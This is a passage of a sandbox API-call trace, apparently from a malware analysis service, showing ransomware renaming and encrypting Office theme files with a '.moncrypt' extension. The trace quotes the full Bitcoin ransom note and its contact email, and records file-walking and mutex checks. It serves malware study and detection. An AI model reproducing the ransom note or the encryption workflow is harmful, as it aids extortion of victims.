dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.940] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.940] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.940] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.940] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.941] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.941] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0051.941] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG", cchWideChar=75, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG", lpUsedDefaultChar=0x0) returned 75 [0051.941] CharLowerBuffW (in: lpsz=".PNG", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0051.941] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngShared\\THEMES14\\INDUST\\THMBNAIL.PNG", lpUsedDefaultChar=0x0) returned 4 [0051.941] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8317, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0x54e240 [0051.941] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0051.941] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0051.941] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0051.941] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG", dwFileAttributes=0x20) returned 1 [0051.942] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0051.942] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png.moncrypt")) returned 1 [0051.943] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0051.943] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0051.943] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x8317 [0051.943] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0051.943] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0051.945] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.945] GlobalLock (hMem=0x440004) returned 0x55bb88 [0051.945] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0051.945] GlobalUnlock (hMem=0x440004) returned 0 [0051.945] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0051.945] GlobalLock (hMem=0x440004) returned 0x55bb88 [0051.946] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0051.946] GlobalUnlock (hMem=0x440004) returned 0 [0051.946] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0051.946] GlobalLock (hMem=0x440004) returned 0x55bb88 [0051.946] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.946] GlobalUnlock (hMem=0x44000c) returned 0 [0051.946] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0051.946] GlobalUnlock (hMem=0x440004) returned 0 [0051.946] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.946] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.946] GlobalUnlock (hMem=0x440004) returned 0 [0051.946] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0051.946] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.946] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.946] GlobalUnlock (hMem=0x440004) returned 0 [0051.946] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0051.946] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0051.946] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0051.946] SetFilePointer (in: hFile=0x18c, lDistanceToMove=33559, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x8317 [0051.946] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0051.946] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0051.947] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d58*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d58*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0051.958] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0051.958] CloseHandle (hObject=0x18c) returned 1 [0051.959] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0051.959] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0051.959] CloseHandle (hObject=0x18c) returned 1 [0051.959] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG.moncrypt", dwFileAttributes=0x20) returned 1 [0051.959] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0051.959] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.959] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.959] GlobalUnlock (hMem=0x440004) returned 0 [0051.960] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.960] GlobalLock (hMem=0x44000c) returned 0x557b88 [0051.960] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.960] GlobalUnlock (hMem=0x440004) returned 0 [0051.960] GlobalHandle (pMem=0x557b88) returned 0x44000c [0051.960] GlobalUnlock (hMem=0x44000c) returned 0 [0051.960] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0051.960] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x403220c0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x403220c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x40348220, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0051.960] FileTimeToLocalFileTime (in: lpFileTime=0x18e7f0, lpLocalFileTime=0x18e770 | out: lpLocalFileTime=0x18e770) returned 1 [0051.960] FileTimeToDosDateTime (in: lpFileTime=0x18e770, lpFatDate=0x18e7be, lpFatTime=0x18e7bc | out: lpFatDate=0x18e7be, lpFatTime=0x18e7bc) returned 1 [0051.960] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0051.960] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0051.960] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0051.960] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0051.960] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0051.960] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0051.960] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0051.961] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0051.961] ReadFile (in: hFile=0x18c, lpBuffer=0x1dccd48, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18e9e8, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesRead=0x18e9e8*=0x649, lpOverlapped=0x0) returned 1 [0051.961] CloseHandle (hObject=0x18c) returned 1 [0051.961] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8317, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0051.961] GetLastError () returned 0x12 [0051.961] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0051.961] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.961] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.961] GlobalUnlock (hMem=0x44000c) returned 0 [0051.961] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.961] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.961] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.961] GlobalUnlock (hMem=0x44000c) returned 0 [0051.961] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.961] GlobalUnlock (hMem=0x440004) returned 0 [0051.961] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x539538d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x40348220, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x40348220, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0051.961] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0051.961] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.962] GlobalLock (hMem=0x440004) returned 0x550170 [0051.962] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.962] GlobalUnlock (hMem=0x440004) returned 0 [0051.962] GlobalLock (hMem=0x440004) returned 0x550170 [0051.962] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.962] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.962] GlobalUnlock (hMem=0x440004) returned 0 [0051.962] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.962] GlobalUnlock (hMem=0x44000c) returned 0 [0051.962] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.962] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x539538d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x40348220, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x40348220, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.962] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.962] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.962] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.962] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.962] GlobalUnlock (hMem=0x44000c) returned 0 [0051.962] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.962] GlobalLock (hMem=0x440004) returned 0x557b88 [0051.962] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.962] GlobalUnlock (hMem=0x44000c) returned 0 [0051.962] GlobalHandle (pMem=0x557b88) returned 0x440004 [0051.962] GlobalUnlock (hMem=0x440004) returned 0 [0051.962] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.962] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x403220c0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x403220c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x40348220, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 1 [0051.962] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.962] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.962] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.962] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.963] GlobalUnlock (hMem=0x440004) returned 0 [0051.963] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.963] GlobalLock (hMem=0x44000c) returned 0x557b88 [0051.963] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.963] GlobalUnlock (hMem=0x440004) returned 0 [0051.963] GlobalHandle (pMem=0x557b88) returned 0x44000c [0051.963] GlobalUnlock (hMem=0x44000c) returned 0 [0051.963] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.963] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4901300, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x539538d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4901300, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x185ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="INDUST.ELM.moncrypt", cAlternateFileName="INDUST~1.MON")) returned 1 [0051.963] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.963] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.963] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.963] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.963] GlobalUnlock (hMem=0x44000c) returned 0 [0051.963] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.963] GlobalLock (hMem=0x440004) returned 0x557b88 [0051.963] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.963] GlobalUnlock (hMem=0x44000c) returned 0 [0051.963] GlobalHandle (pMem=0x557b88) returned 0x440004 [0051.963] GlobalUnlock (hMem=0x440004) returned 0 [0051.963] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.963] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x61cf3090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x225, dwReserved0=0x0, dwReserved1=0x0, cFileName="INDUST.INF", cAlternateFileName="")) returned 1 [0051.963] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.963] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.963] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.963] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.963] GlobalUnlock (hMem=0x440004) returned 0 [0051.963] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.963] GlobalLock (hMem=0x44000c) returned 0x557b88 [0051.963] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.964] GlobalUnlock (hMem=0x440004) returned 0 [0051.964] GlobalHandle (pMem=0x557b88) returned 0x44000c [0051.964] GlobalUnlock (hMem=0x44000c) returned 0 [0051.964] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.964] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x143b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0051.964] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.964] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.964] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.964] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.964] GlobalUnlock (hMem=0x44000c) returned 0 [0051.964] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.964] GlobalLock (hMem=0x440004) returned 0x557b88 [0051.964] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.964] GlobalUnlock (hMem=0x44000c) returned 0 [0051.964] GlobalHandle (pMem=0x557b88) returned 0x440004 [0051.964] GlobalUnlock (hMem=0x440004) returned 0 [0051.964] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.964] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x83dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG.moncrypt", cAlternateFileName="THMBNA~1.MON")) returned 1 [0051.964] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.964] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.964] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.964] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.964] GlobalUnlock (hMem=0x440004) returned 0 [0051.964] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.964] GlobalLock (hMem=0x44000c) returned 0x557b88 [0051.964] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.964] GlobalUnlock (hMem=0x440004) returned 0 [0051.964] GlobalHandle (pMem=0x557b88) returned 0x44000c [0051.964] GlobalUnlock (hMem=0x44000c) returned 0 [0051.965] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.965] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, 